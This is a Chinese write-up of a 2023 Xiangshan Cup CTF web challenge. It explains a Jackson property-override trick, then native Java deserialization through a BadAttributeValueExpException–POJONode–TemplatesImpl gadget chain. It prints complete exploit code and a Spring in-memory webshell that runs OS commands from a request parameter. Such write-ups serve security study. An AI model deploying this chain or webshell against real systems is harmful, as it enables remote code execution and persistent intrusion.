【Web】2023香山杯决赛 security system 题解

目录

step -1

step 0

step 1 

step 2

step 3


step -1

①题目hint:想办法修改属性值后进入java的原生反序列化,然后利用jackson链写入内存马

②jackson反序列化基础:

ObjectMapper objectMapper = new ObjectMapper();
String jsonString = "{\"@type\":\"com.example.Person\",\"name\":\"John\",\"age\":30}";
Person person = objectMapper.readValue(jsonString, Person.class);

在这个示例中,Jackson会根据@type字段的值com.example.Person来确定应该创建一个Person对象,并将JSON中的其他属性值映射到该对象的属性上。

需要注意的是,在使用@type字段时,需要确保对应的Java类路径在类加载器的搜索路径上,并且Jackson的ObjectMapper能够访问到这些类。

③jackson性质:

如果在Jackson反序列化过程中,指定的目标类为 LinkedHashMap,而 JSON 字符串中包含了 @type 字段,那么 Jackson 会将 @type 字段作为 LinkedHashMap 的一个普通属性来处理,而不会将其视为 autotype。

假设有以下 JSON 数据:

{"@type": "com.example.Dog","name": "Buddy","breed": "Golden Retriever"
}

 @type 字段将被作为普通属性存储在 LinkedHashMap 中,而不会触发对应用于 Dog 类的自动类型解析。因此反序列化后的结果将是一个 LinkedHashMap 实例,其中包含了 @type 字段及其它属性。

step 0

pom依赖只有spring可以利用

反序列化入口有两处,第一处是jackson反序列化,第二处是无过滤的原生反序列化

step 1 

重点关注几个方法

①SecurityCheck.isSafe()

默认返回true,因为是static,所以可改属性值

②SecurityCheck.ismap() 返回一个HashSet

 

HashSet的无参构造方法就是实例化一个HashMap并存进map属性中

 

 add的值,即HashMap的key就是HashSet的iterator所取的内容,而PRESENT作用是占位

 

 

 

③SecurityCheck.deObject

这段代码主要用于在反序列化过程中,根据@type字段的值动态确定要创建的对象类型,并将LinkedHashMap中的属性值赋给对应的对象属性。

这也要求我们jackson反序列化得到的类要是LinkedHashMap或其子类

step 2

链子很简单

参考这篇文章:【Web】浅聊Jackson序列化getter的利用——POJONode_jackson反序列化调用getter-CSDN博客

BadAttributeValueExpException -> POJONode -> TemplatesImpl

但首先要在第一个反序列化入口打入属性覆盖,从而为进入第二个反序列化入口创造条件

注意因为指定了class与LinkedHashMap相关,这里的第一个@type是作为属性来处理

{"@type":"ctf.nese.SecurityCheck","safe":false,"treeMap":{"@type":"java.util.HashSet","map":{"反序列化字符串":""}}}

指定的class要继承LinkedHashMap,可以用org.springframework.core.annotation.AnnotationAttributes

 

最终payload:

classes=org.springframework.core.annotation.AnnotationAttributes&obj={"@type":"com.example.jackson.SecurityCheck","safe":false,"treeMap":{"@type":"java.util.HashSet","map":{"序列化字符串":""}}}

step 3

生成序列化字符串

EXP.java

package com.example.jackson;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;public class EXP {public static void main(String[] args) throws Exception{ClassPool pool = ClassPool.getDefault();CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");ctClass0.removeMethod(writeReplace);ctClass0.toClass();byte[] code = Repository.lookupClass(SpringMemShell.class).getBytes();byte[][] codes = {code};TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "useless");setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", codes);POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));BadAttributeValueExpException val = new BadAttributeValueExpException(null);setFieldValue(val, "val", node);byte[] poc = ser(val);System.out.println(Base64.getEncoder().encodeToString(poc));}public static byte[] ser(Object obj) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);objectOutputStream.writeObject(obj);objectOutputStream.close();return baos.toByteArray();}public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {AdvisedSupport advisedSupport = new AdvisedSupport();advisedSupport.setTarget(templates);Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);return proxy;}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}
}

SpringMemShell

package com.example.jackson;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;public class SpringMemShell extends AbstractTranslet{static {try {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");configField.setAccessible(true);RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();SpringMemShell springControllerMemShell = new SpringMemShell();mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);} catch (Exception hi) {
//            hi.printStackTrace();}}public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {if (request.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\A");String output = s.hasNext() ? s.next() : "";response.getWriter().write(output);response.getWriter().flush();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

 

 ​​​​​第一次打入来覆盖SecurityCheck

第二次打入来原生反序列化注入内存马 

 

成功写入,命令执行拿flag 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/687944.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

用 Next.js 和 Supabase 进行“全栈”开发的入门

文章目录 (零)前言(一)创建Next.js应用程序(1.1)新建工程目录(1.2)安装依赖环境(1.3)创建Tailwind配置 (二)创建Supabase项目&#xf…

大语言模型的后处理

后处理的输入 常规意义上的大模型处理流程 import torch from transformers import LlamaForCausalLM, LlamaTokenizer# 加载模型和tokenizer model LlamaForCausalLM.from_pretrained("decapoda-research/llama-7b-hf") tokenizer LlamaTokenizer.from_pretrain…

Excel中实现md5加密

1.注意事项 (1)在Microsoft Excel上操作 (2)使用完,建议修改的配置全部还原,防止有风险。 2.准备MD5宏插件 MD5加密宏插件放置到F盘下(直接F盘下,不用放到具体某一个文件夹下) 提示:文件在文章顶部&…

移动端自动化测试工具 Appium 之 main 启动

文章目录 一、背景二、生成xml文件2.1、创建xml方法2.2、执行主类MainTest2.3、自动生成的xml2.4、工程目录2.5、执行结果 三、命令行执行appium服务四、主方法启动类五、集成Jenkins六、总结 一、背景 Jenkins 做集成测试是不错的工具,那么UI自动化是否可以&#…

基于单片机的直流电机测速装置研究与设计

摘要: 基于单片机的直流电机测速装置采用了对直流电机的中枢供电回路串联取样电阻的方式实现对电机转速的精确实时测量。系统由滤波电路、信号放大电路、单片机控制电路以及稳压电源等功能模块电路构成。工作过程中高频磁环作为载体,利用电磁感应的基本原理对直流电…

【快捷部署】022_ZooKeeper(3.5.8)

📣【快捷部署系列】022期信息 编号选型版本操作系统部署形式部署模式复检时间022ZooKeeper3.5.8Ubuntu 20.04tar包单机2024-05-07 一、快捷部署 #!/bin/bash ################################################################################# # 作者&#xff…

IDA PRO 7.7 全局修改字体大小

转到IDA的安装目录,以我的为例,IDA的安装目录是: C:\Program Files (x86)\IDA_Pro_7.7\打开.css文件 IDA安装路径\themes\default\theme.css拉到最下面,找到如图所示的位置,把font-size修改成你想要的大小。 保存并验…

跨境电商行业蓬勃发展,武汉星起航引领卖家孵化新潮流

近年来,我国跨境电商行业在政府的大力扶持下呈现出强劲的发展势头。随着国内制造业结构的加速调整与居民消费需求升级态势的持续凸显,跨境出口规模占比稳步提升,跨境进口规模同样不断扩大,行业市场规模持续增长。在这一背景下&…

LeetCode-2391. 收集垃圾的最少总时间【数组 字符串 前缀和】

LeetCode-2391. 收集垃圾的最少总时间【数组 字符串 前缀和】 题目描述:解题思路一:处理垃圾和路程单独计算。解题思路二:逆向思维,计算多走的路解题思路三:只记录,当前t需要计算几次 题目描述:…

K8S安装并搭建集群

1. 先给每台机器安装docker环境 卸载旧的docker yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate \docker-logrotate \docker-engine 配置docker的yum库 yum install -y yum-utilsyum-config-manager --a…

撤销 git add 操作(忽略被追踪的文件)

文章目录 引言I git rm命令来取消暂存【推荐】II 撤销特定文件的暂存状态2.1 git rese2.2 git restoresee also引言 应用场景: 修改.gitignoregitignore只能忽略那些原来没有被追踪的文件,如果某些文件已经被纳入了版本管理中,则修改.gitignore是无效的。那么解决方法就是先…

R语言两种方法实现随机分层抽样

为了减少数据分布的不平衡,提供高样本的代表性,可将数据按特征分层一定的层次,在每个层次抽取一定量的样本,为分层抽样。分层抽样的特点是将科学分组法与抽样法结合在一起,分组减小了各抽样层变异性的影响,…